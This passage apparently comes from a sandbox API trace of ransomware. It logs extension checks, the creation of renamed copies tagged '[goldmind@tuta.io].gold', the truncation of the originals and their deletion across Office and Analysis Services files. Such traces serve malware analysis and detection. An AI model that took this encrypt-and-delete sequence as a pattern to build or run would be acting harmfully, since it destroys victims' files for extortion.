(lpString=".7z") returned 3 [0046.253] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".dbf") returned 4 [0046.253] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".1cd") returned 4 [0046.253] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.253] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\sql90.xsl") returned 77 [0046.253] lstrlenW (lpString=".jpg") returned 4 [0046.253] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.253] lstrcmpiW (lpString1=".xsl", lpString2=".gold") returned 1 [0046.253] lstrlenW (lpString="Sybase.xsl") returned 10 [0046.253] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.254] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=29790) returned 1 [0046.254] CloseHandle (hObject=0x20c) returned 1 [0046.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 0x20 [0046.254] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.254] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.254] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.255] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.255] GetLastError () returned 0x0 [0046.255] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x745e, lpOverlapped=0x0) returned 1 [0046.256] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x7460, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x7460, lpOverlapped=0x0) returned 1 [0046.257] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0046.257] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xe8, lpOverlapped=0x0) returned 1 [0046.257] SetEndOfFile (hFile=0x1a0) returned 1 [0046.258] CloseHandle (hObject=0x1a0) returned 1 [0046.258] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.258] SetEndOfFile (hFile=0x20c) returned 1 [0046.258] CloseHandle (hObject=0x20c) returned 1 [0046.258] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.259] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl" (normalized: "c:\\program files\\microsoft analysis services\\as oledb\\10\\cartridges\\sybase.xsl")) returned 1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString=".doc") returned 4 [0046.259] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString=".docx") returned 5 [0046.259] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0046.259] lstrlenW (lpString=".pdf") returned 4 [0046.259] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString=".xls") returned 4 [0046.259] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString=".xlsx") returned 5 [0046.259] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0046.259] lstrlenW (lpString=".ppt") returned 4 [0046.259] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString=".zip") returned 4 [0046.259] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.259] lstrlenW (lpString=".rar") returned 4 [0046.259] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString=".bz2") returned 4 [0046.259] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString=".7z") returned 3 [0046.259] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString=".dbf") returned 4 [0046.259] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString=".1cd") returned 4 [0046.259] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString=".jpg") returned 4 [0046.259] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.259] lstrlenW (lpString=".doc") returned 4 [0046.259] lstrcmpiW (lpString1=".doc", lpString2=".xsl") returned -1 [0046.259] lstrlenW (lpString=".docx") returned 5 [0046.259] lstrcmpiW (lpString1=".docx", lpString2="e.xsl") returned -1 [0046.260] lstrlenW (lpString=".pdf") returned 4 [0046.260] lstrcmpiW (lpString1=".pdf", lpString2=".xsl") returned -1 [0046.260] lstrlenW (lpString=".xls") returned 4 [0046.260] lstrcmpiW (lpString1=".xls", lpString2=".xsl") returned -1 [0046.260] lstrlenW (lpString=".xlsx") returned 5 [0046.260] lstrcmpiW (lpString1=".xlsx", lpString2="e.xsl") returned -1 [0046.260] lstrlenW (lpString=".ppt") returned 4 [0046.260] lstrcmpiW (lpString1=".ppt", lpString2=".xsl") returned -1 [0046.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.260] lstrlenW (lpString=".zip") returned 4 [0046.260] lstrcmpiW (lpString1=".zip", lpString2=".xsl") returned 1 [0046.260] lstrlenW (lpString=".rar") returned 4 [0046.260] lstrcmpiW (lpString1=".rar", lpString2=".xsl") returned -1 [0046.260] lstrlenW (lpString=".bz2") returned 4 [0046.260] lstrcmpiW (lpString1=".bz2", lpString2=".xsl") returned -1 [0046.260] lstrlenW (lpString=".7z") returned 3 [0046.260] lstrcmpiW (lpString1=".7z", lpString2="xsl") returned -1 [0046.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.260] lstrlenW (lpString=".dbf") returned 4 [0046.260] lstrcmpiW (lpString1=".dbf", lpString2=".xsl") returned -1 [0046.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.260] lstrlenW (lpString=".1cd") returned 4 [0046.260] lstrcmpiW (lpString1=".1cd", lpString2=".xsl") returned -1 [0046.260] lstrlenW (lpString="C:\\Program Files\\Microsoft Analysis Services\\AS OLEDB\\10\\Cartridges\\Sybase.xsl") returned 78 [0046.260] lstrlenW (lpString=".jpg") returned 4 [0046.260] lstrcmpiW (lpString1=".jpg", lpString2=".xsl") returned -1 [0046.260] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0046.260] lstrlenW (lpString="AG00004_.GIF") returned 12 [0046.260] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.261] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=9024) returned 1 [0046.261] CloseHandle (hObject=0x20c) returned 1 [0046.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 0x20 [0046.261] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.261] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.262] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.262] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.262] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.262] GetLastError () returned 0x0 [0046.262] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x2340, lpOverlapped=0x0) returned 1 [0046.264] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x2350, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x2350, lpOverlapped=0x0) returned 1 [0046.264] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0046.264] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.264] SetEndOfFile (hFile=0x1a0) returned 1 [0046.265] CloseHandle (hObject=0x1a0) returned 1 [0046.265] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.265] SetEndOfFile (hFile=0x20c) returned 1 [0046.265] CloseHandle (hObject=0x20c) returned 1 [0046.265] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0046.266] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00004_.gif")) returned 1 [0046.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.266] lstrlenW (lpString=".doc") returned 4 [0046.266] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.266] lstrlenW (lpString=".docx") returned 5 [0046.266] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0046.266] lstrlenW (lpString=".pdf") returned 4 [0046.266] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.266] lstrlenW (lpString=".xls") returned 4 [0046.266] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.266] lstrlenW (lpString=".xlsx") returned 5 [0046.266] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0046.266] lstrlenW (lpString=".ppt") returned 4 [0046.266] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.266] lstrlenW (lpString=".zip") returned 4 [0046.266] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.266] lstrlenW (lpString=".rar") returned 4 [0046.266] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.266] lstrlenW (lpString=".bz2") returned 4 [0046.266] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.266] lstrlenW (lpString=".7z") returned 3 [0046.266] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.266] lstrlenW (lpString=".dbf") returned 4 [0046.266] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.266] lstrlenW (lpString=".1cd") returned 4 [0046.266] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.266] lstrlenW (lpString=".jpg") returned 4 [0046.266] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.266] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.267] lstrlenW (lpString=".doc") returned 4 [0046.267] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0046.267] lstrlenW (lpString=".docx") returned 5 [0046.267] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0046.267] lstrlenW (lpString=".pdf") returned 4 [0046.267] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0046.267] lstrlenW (lpString=".xls") returned 4 [0046.267] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0046.267] lstrlenW (lpString=".xlsx") returned 5 [0046.267] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0046.267] lstrlenW (lpString=".ppt") returned 4 [0046.267] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0046.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.267] lstrlenW (lpString=".zip") returned 4 [0046.267] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0046.267] lstrlenW (lpString=".rar") returned 4 [0046.267] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0046.267] lstrlenW (lpString=".bz2") returned 4 [0046.267] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0046.267] lstrlenW (lpString=".7z") returned 3 [0046.267] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0046.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.267] lstrlenW (lpString=".dbf") returned 4 [0046.267] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0046.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.267] lstrlenW (lpString=".1cd") returned 4 [0046.267] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0046.267] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00004_.GIF") returned 63 [0046.267] lstrlenW (lpString=".jpg") returned 4 [0046.267] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0046.267] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0046.267] lstrlenW (lpString="AG00011_.GIF") returned 12 [0046.267] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.267] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2eeff1c | out: lpFileSize=0x2eeff1c*=7216) returned 1 [0046.267] CloseHandle (hObject=0x20c) returned 1 [0046.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 0x20 [0046.268] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0046.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0046.268] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.268] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0046.268] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0046.268] GetLastError () returned 0x0 [0046.268] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x1c30, lpOverlapped=0x0) returned 1 [0046.563] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0x1c40, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0x1c40, lpOverlapped=0x0) returned 1 [0046.563] ReadFile (in: hFile=0x20c, lpBuffer=0x3a70020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2eefed4, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesRead=0x2eefed4*=0x0, lpOverlapped=0x0) returned 1 [0046.563] WriteFile (in: hFile=0x1a0, lpBuffer=0x3a70020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2eefc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a70020*, lpNumberOfBytesWritten=0x2eefc9c*=0xec, lpOverlapped=0x0) returned 1 [0046.564] SetEndOfFile (hFile=0x1a0) returned 1 [0047.597] CloseHandle (hObject=0x1a0) returned 1 [0047.759] SetFilePointerEx (in: hFile=0x20c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2eefec8 | out: lpNewFilePointer=0x0) returned 1 [0047.759] SetEndOfFile (hFile=0x20c) returned 1 [0047.781] CloseHandle (hObject=0x20c) returned 1 [0047.781] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0047.807] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\ag00011_.gif")) returned 1 [0047.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.824] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.824] lstrlenW (lpString=".doc") returned 4 [0047.824] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.828] lstrlenW (lpString=".docx") returned 5 [0047.828] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.828] lstrlenW (lpString=".pdf") returned 4 [0047.828] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.828] lstrlenW (lpString=".xls") returned 4 [0047.828] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.828] lstrlenW (lpString=".xlsx") returned 5 [0047.828] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.828] lstrlenW (lpString=".ppt") returned 4 [0047.829] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString=".zip") returned 4 [0047.829] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString=".rar") returned 4 [0047.829] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString=".bz2") returned 4 [0047.829] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.829] lstrlenW (lpString=".7z") returned 3 [0047.829] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString=".dbf") returned 4 [0047.829] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString=".1cd") returned 4 [0047.829] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString=".jpg") returned 4 [0047.829] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString=".doc") returned 4 [0047.829] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0047.829] lstrlenW (lpString=".docx") returned 5 [0047.829] lstrcmpiW (lpString1=".docx", lpString2="_.GIF") returned -1 [0047.829] lstrlenW (lpString=".pdf") returned 4 [0047.829] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString=".xls") returned 4 [0047.829] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString=".xlsx") returned 5 [0047.829] lstrcmpiW (lpString1=".xlsx", lpString2="_.GIF") returned -1 [0047.829] lstrlenW (lpString=".ppt") returned 4 [0047.829] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString=".zip") returned 4 [0047.829] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString=".rar") returned 4 [0047.829] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0047.829] lstrlenW (lpString=".bz2") returned 4 [0047.829] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0047.829] lstrlenW (lpString=".7z") returned 3 [0047.829] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.829] lstrlenW (lpString=".dbf") returned 4 [0047.829] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0047.829] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\AG00011_.GIF") returned 63 [0047.830] 